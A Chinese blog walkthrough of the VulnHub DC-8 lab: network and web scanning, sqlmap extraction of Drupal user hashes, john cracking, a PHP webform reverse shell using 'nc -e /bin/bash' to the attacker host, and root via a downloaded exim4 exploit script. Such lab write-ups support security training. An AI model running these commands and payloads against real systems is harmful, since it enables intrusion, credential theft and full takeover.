vulnhub靶场之DC-8

一.环境搭建

1.靶场描述

DC-8 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This challenge is a bit of a hybrid between being an actual challenge, and being a "proof of concept" as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.
The "proof of concept" portion of this challenge eventuated as a result of a question being asked about two-factor authentication and Linux on Twitter, and also due to a suggestion by @theart42.
The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.
You probably wouldn't even know that two-factor authentication was installed and configured unless you attempt to login via SSH, but it's definitely there and doing it's job.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
 

只有一个flag

2.靶场下载地址

https://www.vulnhub.com/entry/dc-8,367/
 

3.启动靶场环境

image-20240108150812317

虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24

二.渗透靶场

1.目标

目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24

2.信息收集

(1)寻找靶场真实ip

nmap -sP 192.168.52.0/24
 

image-20240108151209992

arp-scan -l
 

image-20240108151227780

靶场的真实ip地址是192.168.52.130

(2)探测端口及服务

nmap -A -v -p- 192.168.52.130
 

image-20240108151537395

发现开放了80端口,存在web服务,Apache httpd 
发现开放了22端口,OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
 

也可以使用masscan进行探测

masscan --rate=10000 --ports 0-65535 192.168.52.130
 

image-20240108151820252

(3)web指纹识别

whatweb -v 192.168.52.130
 

image-20240108151946306

3.渗透测试

(1)访问web服务

http://192.168.52.130
 

image-20240108152136730

可以看到和DC-7是一个cms框架

(2)扫描web服务

1)棱洞3.0指纹识别
./EHole_linux_amd64 finger -u http://192.168.52.130
 

image-20240108152443953

使用棱洞3.0指纹识别发现有Drupal

2)nikto扫描网站结构
nikto -h http://192.168.52.130
 

image-20240108152754770

使用nikto工具扫描网站结构,发现robots.txt

3)dirsearch目录扫描
dirsearch -u 192.168.52.130 -e * -x 403 --random-agent
 

image-20240108154220729

(3)渗透测试

1)首先我们查看Drupal漏洞
http://192.168.52.130/CHANGELOG.txt
 

image-20240108154527249

我们知道版本号是7.67,使用kali进行搜索,但是没有漏洞

searchsploit Drupal 7.67
 

image-20240108154658702

2)我们访问robots.txt
http://192.168.52.130/robots.txt
 

image-20240108154843180

可以看到是一些登录页面

http://192.168.52.130/?q=user/login/
 

image-20240108155159531

这个我们先放一放,看能不能有漏洞进行爆破用户名和密码

3)我们访问目录扫描

除了/user/login/ ,node以外,其他的都没有用

我们查看node,我们可以看到3行蓝色的字,我们一个一个进行访问,最后发现这里就只加了参数nid,非常可疑,可能存在有SQL注入、xss等漏洞

http://192.168.52.130/node
 

image-20240108160045654

4)SQL注入

在nid参数后面加’

image-20240108160215495

我们可以看到报错了,可能存在报错注入,我们使用sqlmap进行测试

sqlmap -u 'http://192.168.52.130/?nid=1' --level=5 --risk=3 --batch 
 

image-20240108161257221

我们可以看到存在报错注入

我们爆破数据库

sqlmap -u 'http://192.168.52.130/?nid=1' --level=5 --risk=3 --batch --dbs
 

image-20240108161422185

有2个数据库,我们爆破d7db数据库

爆表

sqlmap -u 'http://192.168.52.130/?nid=1' --level=5 --risk=3 --batch -D 'd7db' --tables
 

image-20240108161725103

image-20240108161744261

我们可以看到有很多的表,我们爆破users即可

接着爆字段名

sqlmap -u 'http://192.168.52.130/?nid=1' --level=5 --risk=3 --batch -D 'd7db' -T 'users' --columns
 

image-20240108162219193

我们可以看到name和pass,我们想到前面的登录页面,我们进行爆破即可

sqlmap -u 'http://192.168.52.130/?nid=1' --level=5 --risk=3 --batch -D 'd7db' -T 'users' -C 'name,pass' --dump
 

image-20240108162259708

image-20240108162317263

我们看到2个用户名和密码,但是密码是加密的,我们进行解密

5)john解密
john password.txt
 

image-20240108162809678

爆破出来一个密码是turtle

6)登录页面

我们进行登录页面,john turtle,看到登录成功

image-20240108163009138

7)反弹shell

探索发现在WEBFORM处可以编辑并执行PHP代码

http://192.168.52.130/#overlay=node/3/webform/configure
 

image-20240108163501544

我们输入反弹shell

<?php
exec("nc -e /bin/bash 192.168.52.152 55555");
?>
 

image-20240108164047374

将提交重定向行Confirmation page(确认页面)给勾上,然后滑下点保存,联系随便填入联系表单,点击发送,触发PHP代码

image-20240108164306558

我们可以看到反弹成功

8)提权

我们打开交互模式

python -c 'import pty;pty.spawn("/bin/bash")'
 

image-20240108164840324

找查一下suid权限的二进制文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null 
 

image-20240108164902251

发现存在exim4,我们进行提权

我们查看exim4版本号

exim4 --version
 

image-20240108165444742

我们使用kali进行搜索

searchsploit exim 4

image-20240108203835984

复制一下文件

cp /usr/share/exploitdb/exploits/linux/local/46996.sh MS02423.sh
 

开启http服务

python -m http.server 8888 
 

image-20240108204043654

在DC-7中下载该文件,先跳到tmp目录

cd /tmp
wget 192.168.52.152:8888/MS02423.sh
 

image-20240108204219241

我们查看文件权限

image-20240108204259982

可以看到文件是不可执行的,我们可以用chmod命令赋予执行权限

chmod 777 MS02423.sh
 

image-20240108204408567

我们执行该文件

./MS02423.sh -m netcat
 

image-20240108204630973

可以看到现在是root权限

我们查看flag

image-20240108204708067

三.相关资源

1.靶场下载地址

2.nmap

3.arp-scan

4.masscan

5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解

6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)

7.nikto工具的使用

8.[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell

9.实现交互式shell的几种方式

10.dirsearch目录扫描

11.SQL注入

  • 23
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MS02423

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值